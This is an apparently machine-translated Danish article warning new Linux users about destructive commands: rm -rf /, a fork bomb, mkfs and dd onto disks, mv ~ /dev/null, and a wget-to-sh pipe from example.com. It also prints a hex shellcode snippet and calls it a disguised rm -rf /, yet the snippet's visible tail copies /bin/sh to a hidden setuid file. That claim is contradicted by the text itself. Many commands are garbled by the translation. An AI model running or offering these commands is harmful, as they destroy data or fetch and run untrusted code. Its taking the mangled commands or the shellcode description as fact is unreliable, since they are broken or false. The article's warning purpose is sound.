8 Deadly Commands Du bør aldrig køre på Linux
Linux terminale kommandoer er kraftfulde, og Linux vil ikke bede dig om bekræftelse, hvis du kører en kommando, der vil ødelægge dit system. Det er ikke ualmindeligt at se trolls online anbefale nye Linux brugere køre disse kommandoer som en joke.
At lære de kommandoer, du ikke skal køre, kan hjælpe med at beskytte dig mod troll og samtidig øge din forståelse af, hvordan Linux fungerer. Dette er ikke en udtømmende vejledning, og kommandoerne her kan remixes på mange forskellige måder.
Bemærk, at mange af disse kommandoer kun vil være farlige, hvis de er præfikset sudo på Ubuntu - de vil ikke fungere ellers. På andre Linux-distributioner skal de fleste kommandoer køres som root.
Billedkredit: Skull and Crossbones remixed fra Jason Ford på Twitter
rm -rf / - Sletter Alt!
Kommandoen rm-rf / sletter alt det muligvis, herunder filer på harddisken og filer på tilsluttede flytbare medieenheder. Denne kommando er mere forståelig, hvis den er opdelt:
rm - Fjern de følgende filer.
-rf - Kør rm rekursivt (slet alle filer og mapper inde i den angivne mappe) og tving-fjern alle filer uden at anmode dig om.
/ - Fortæller rm at starte i rodmappen, som indeholder alle filer på din computer og alle monterede medieenheder, herunder fjernfilaktier og flytbare drev.
Linux vil lykkeligt adlyde denne kommando og slette alt uden at spørge dig, så pas på, når du bruger det! Rm-kommandoen kan også bruges på andre farlige måder - rm -rf ~ ville slette alle filer i din hjemmemappe, mens rm-rf. * ville slette alle dine konfigurationsfiler.
Lektionen: Pas på rm-rf.
Forkælet rm-rf /
Her er et andet kodestykke, der findes over hele internettet:
char esp [] __attribute__ ((afsnit ("tekst"))) / * e.s.p
frigivelse * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
”\ Xff \ xff \ xff \ xff \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99”
”\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7”
”\ X56 \ x 04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56”
”\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ x80 \ x31”
”\ Xc0 \ x40 \ xeb \ xf9 \ XE8 \ XBD \ xff \ xff \ xff \ x2f \ x62 \ x69”
”\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
"Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Dette er hex-versionen af rm -rf / - udførelse af denne kommando ville udslette dine filer ligesom om du havde kørt rm-rf /.
Lektionen: Kør ikke underligt udseende, åbenbart forklædt kommandoer, som du ikke forstår.
: () : |: &;: - Fork Bomb
Den følgende linje er en simpel udseende, men farlig, bash funktion:
: () : |: & ;:
Denne korte linje definerer en shell-funktion, der skaber nye kopier af sig selv. Processen replikerer hele tiden sig selv, og dens kopier gentager sig kontinuerligt, og hurtigt tager hele din CPU tid og hukommelse op. Dette kan medføre, at din computer fryser. Det er dybest set et benægtelsesangreb.
Lektionen: Bash funktioner er kraftige, selv meget korte.
Billedkredit: Dake på Wikimedia Commons
mkfs.ext4 / dev / sda1 - Formaterer en harddisk
Det mkfs.ext4 / dev / sda1 kommandoen er let at forstå:
mkfs.ext4 - Opret et nyt ext4-filsystem på den følgende enhed.
/ Dev / sda1 - Angiver den første partition på den første harddisk, som sandsynligvis er i brug.
Samlet set kan denne kommando svare til kørende format c: på Windows - det vil slette filerne på din første partition og erstatte dem med et nyt filsystem.
Denne kommando kan også komme i andre former - mkfs.ext3 / dev / sdb2 ville formatere den anden partition på den anden harddisk med ext3-filsystemet.
Lektionen: Pas på at køre kommandoer direkte på harddiskenheder, der begynder med / dev / sd.
kommando> / dev / sda - Skriver direkte til en harddisk
Det kommando> / dev / sda linje fungerer på samme måde - den kører en kommando og sender output fra den kommando direkte til din første harddisk, skriver dataene direkte til harddisken og beskadiger dit filsystem.
kommando - Kør en kommando (kan være en kommando.)
> - Send output af kommandoen til følgende placering.
/ Dev / sda - Skriv output af kommandoen direkte til harddiskenheden.
Lektionen: Som ovenfor, pas på løbekommandoer, der involverer harddiskenheder, der begynder med / dev / sd.
dd if = / dev / random of = / dev / sda - Skriver junk på en harddisk
Det dd hvis = / dev / tilfældig af = / dev / sda linjen vil også udslette dataene på en af dine harddiske.
dd - Udfør lavt niveau kopiering fra et sted til et andet.
if = / dev / random - Brug / dev / random (random data) som input - du kan også se steder som / dev / zero (nuller).
af = / dev / sda - Udgang til den første harddisk, der erstatter sit filsystem med tilfældige affaldsdata.
Lektionen: dd kopierer data fra et sted til et andet, hvilket kan være farligt, hvis du kopierer direkte til en enhed.
Billedkredit: Matt Rudge på Flickr
mv ~ / dev / null - Flytter dit hjemmekatalog til et sort hul
/ dev / null er en anden speciel placering - at flytte noget til / dev / null er det samme som at ødelægge det. Tænk på / dev / null som et sort hul. Hovedsagelig, mv ~ / dev / null sender alle dine personlige filer til et sort hul.
mv - Flyt følgende fil eller mappe til et andet sted.
~ - Representerer hele din hjemmemappe.
/ Dev / null - Flyt din hjemmemappe til / dev / null, ødelæg alle dine filer og slet de originale kopier.
Lektionen: Den ~ tegn repræsenterer din hjemmemappe og flytning af ting til / dev / null ødelægger dem.
wget http://example.com/something -O - | sh - Downloads og kører et script
Ovenstående linje overfører et script fra internettet og sender det til sh, som udfører indholdet af scriptet. Dette kan være farligt, hvis du ikke er sikker på, hvad scriptet er, eller hvis du ikke stoler på dens kilde - ikke kør usikre scripts.
wget - Overfører en fil. (Du kan også se krølle i stedet for wget.)
http://example.com/something - Download filen fra denne placering.
| - Rør (send) udgangen af wget-kommandoen (filen du downloadede) direkte til en anden kommando.
sh - Send filen til kommandoen sh, som udfører den, hvis den er et bash script.
Lektionen: Du må ikke downloade og køre usikre scripts fra internettet, selv med en kommando.
Kender andre farlige kommandoer, at nye (og erfarne) Linux-brugere ikke skal køre? Efterlad en kommentar og del dem!